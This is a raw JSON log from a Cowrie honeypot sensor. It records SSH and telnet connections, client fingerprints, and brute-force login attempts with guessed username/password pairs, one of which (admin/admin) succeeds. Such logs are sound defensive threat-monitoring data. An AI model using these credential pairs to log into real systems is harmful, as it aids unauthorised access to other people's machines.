{"eventid":"cowrie.session.closed","duration":6.1989710330963135,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:40.041057Z","src_ip":"38.54.119.93","session":"ac90fc21a98c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38390,"dst_ip":"10.17.0.5","dst_port":23,"session":"11e27161073c","protocol":"telnet","message":"New connection: 62.210.97.77:38390 (10.17.0.5:23) [session: 11e27161073c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:40.782372Z"}
{"eventid":"cowrie.session.closed","duration":43.33332896232605,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:41.156226Z","src_ip":"65.60.27.33","session":"f24c1fdecd8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.776630163192749,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:41.442744Z","src_ip":"134.209.8.29","session":"aafd1b497324","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.48741817474365,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:41.668631Z","src_ip":"62.210.97.77","session":"b6b708f87cbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":35978,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1ea4778966a","protocol":"ssh","message":"New connection: 176.65.132.254:35978 (10.17.0.5:22) [session: f1ea4778966a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:41.678008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:41.682505Z","src_ip":"176.65.132.254","session":"f1ea4778966a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:41.764691Z","src_ip":"176.65.132.254","session":"f1ea4778966a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.97222709655762,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:42.115170Z","src_ip":"62.210.97.77","session":"d123d837c87f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:42.338929Z","src_ip":"176.65.132.254","session":"f1ea4778966a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.17608022689819,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:42.625800Z","src_ip":"62.210.97.77","session":"577ed5a51c65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38400,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbc55e58a39c","protocol":"telnet","message":"New connection: 62.210.97.77:38400 (10.17.0.5:23) [session: bbc55e58a39c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:42.796326Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.189.59","src_port":46678,"dst_ip":"159.203.135.109","dst_port":22,"session":"62cfe173bb44","protocol":"ssh","message":"New connection: 152.32.189.59:46678 (159.203.135.109:22) [session: 62cfe173bb44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:42.827301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:42.833060Z","src_ip":"152.32.189.59","session":"62cfe173bb44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:43.111116Z","src_ip":"152.32.189.59","session":"62cfe173bb44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:43.456981Z","src_ip":"176.65.132.254","session":"f1ea4778966a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.06066584587097,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:43.521877Z","src_ip":"62.210.97.77","session":"27c37afaaea5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Pass","message":"login attempt [ubuntu/Pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:43.985535Z","src_ip":"152.32.189.59","session":"62cfe173bb44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.12","src_port":49712,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab4ef74e9c48","protocol":"ssh","message":"New connection: 190.129.122.12:49712 (10.17.0.5:22) [session: ab4ef74e9c48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:44.151054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:44.156103Z","src_ip":"190.129.122.12","session":"ab4ef74e9c48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38402,"dst_ip":"10.17.0.5","dst_port":23,"session":"350a384cd6e5","protocol":"telnet","message":"New connection: 62.210.97.77:38402 (10.17.0.5:23) [session: 350a384cd6e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:44.180256Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:44.334978Z","src_ip":"190.129.122.12","session":"ab4ef74e9c48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.1211154460907,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:44.509857Z","src_ip":"62.210.97.77","session":"ee4c3a073dc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.33023953437805,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:44.546103Z","src_ip":"62.210.97.77","session":"805bd512c4da","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"q1q2q3q4","message":"login attempt [ubuntu/q1q2q3q4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:45.077594Z","src_ip":"190.129.122.12","session":"ab4ef74e9c48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:45.214086Z","src_ip":"152.32.189.59","session":"62cfe173bb44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00104594230652,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:45.477369Z","src_ip":"185.106.29.184","session":"958194a5855e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38408,"dst_ip":"10.17.0.5","dst_port":23,"session":"2942697ba6cf","protocol":"telnet","message":"New connection: 62.210.97.77:38408 (10.17.0.5:23) [session: 2942697ba6cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:45.738251Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":42714,"dst_ip":"10.17.0.5","dst_port":22,"session":"503d8942b430","protocol":"ssh","message":"New connection: 176.65.132.254:42714 (10.17.0.5:22) [session: 503d8942b430]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:46.091109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:46.098415Z","src_ip":"176.65.132.254","session":"503d8942b430","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:46.180424Z","src_ip":"176.65.132.254","session":"503d8942b430","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.793156147003174,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:46.193262Z","src_ip":"62.210.97.77","session":"41d905f15ca4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:46.258995Z","src_ip":"190.129.122.12","session":"ab4ef74e9c48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"123456","message":"login attempt [fastuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:46.443927Z","src_ip":"176.65.132.254","session":"503d8942b430","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":38772,"dst_ip":"10.17.0.5","dst_port":23,"session":"84ffc9c74563","protocol":"telnet","message":"New connection: 65.60.27.33:38772 (10.17.0.5:23) [session: 84ffc9c74563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:46.639652Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.199.117.130","src_port":56900,"dst_ip":"10.17.0.5","dst_port":23,"session":"e10918249e21","protocol":"telnet","message":"New connection: 38.199.117.130:56900 (10.17.0.5:23) [session: e10918249e21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:46.791044Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38412,"dst_ip":"10.17.0.5","dst_port":23,"session":"61080cedd60b","protocol":"telnet","message":"New connection: 62.210.97.77:38412 (10.17.0.5:23) [session: 61080cedd60b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:47.260668Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:47.529226Z","src_ip":"176.65.132.254","session":"503d8942b430","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.97376537322998,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:47.960869Z","src_ip":"62.210.97.77","session":"95a5727e7bb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":36116,"dst_ip":"10.17.0.5","dst_port":23,"session":"c08ec4d06a89","protocol":"telnet","message":"New connection: 165.232.131.181:36116 (10.17.0.5:23) [session: c08ec4d06a89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:48.434965Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":36514,"dst_ip":"10.17.0.5","dst_port":23,"session":"65ebdac93ba2","protocol":"telnet","message":"New connection: 165.232.131.181:36514 (10.17.0.5:23) [session: 65ebdac93ba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:48.470950Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":41490,"dst_ip":"10.17.0.5","dst_port":23,"session":"450ff9098ec0","protocol":"telnet","message":"New connection: 65.60.27.33:41490 (10.17.0.5:23) [session: 450ff9098ec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:49.114116Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":41694,"dst_ip":"10.17.0.5","dst_port":23,"session":"03b97c93b12d","protocol":"telnet","message":"New connection: 65.60.27.33:41694 (10.17.0.5:23) [session: 03b97c93b12d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:49.437853Z"}
{"eventid":"cowrie.session.closed","duration":34.68642807006836,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:49.576487Z","src_ip":"62.210.97.77","session":"55d8c2f937b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"156.232.13.218","src_port":50540,"dst_ip":"10.17.0.5","dst_port":22,"session":"212d794ee253","protocol":"ssh","message":"New connection: 156.232.13.218:50540 (10.17.0.5:22) [session: 212d794ee253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:49.839679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:49.844452Z","src_ip":"156.232.13.218","session":"212d794ee253","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:49.925709Z","src_ip":"156.232.13.218","session":"212d794ee253","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.98768448829651,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:50.018661Z","src_ip":"62.210.97.77","session":"92abdd05709f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin101","message":"login attempt [root/admin101] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:50.257290Z","src_ip":"156.232.13.218","session":"212d794ee253","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":42726,"dst_ip":"10.17.0.5","dst_port":22,"session":"15da210bfad1","protocol":"ssh","message":"New connection: 176.65.132.254:42726 (10.17.0.5:22) [session: 15da210bfad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:50.738074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:50.743160Z","src_ip":"176.65.132.254","session":"15da210bfad1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:50.841919Z","src_ip":"176.65.132.254","session":"15da210bfad1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.05514931678772,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:51.018166Z","src_ip":"62.210.97.77","session":"1530a9721535","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:13:51.090256Z","src_ip":"176.65.132.254","session":"15da210bfad1","protocol":"ssh"}
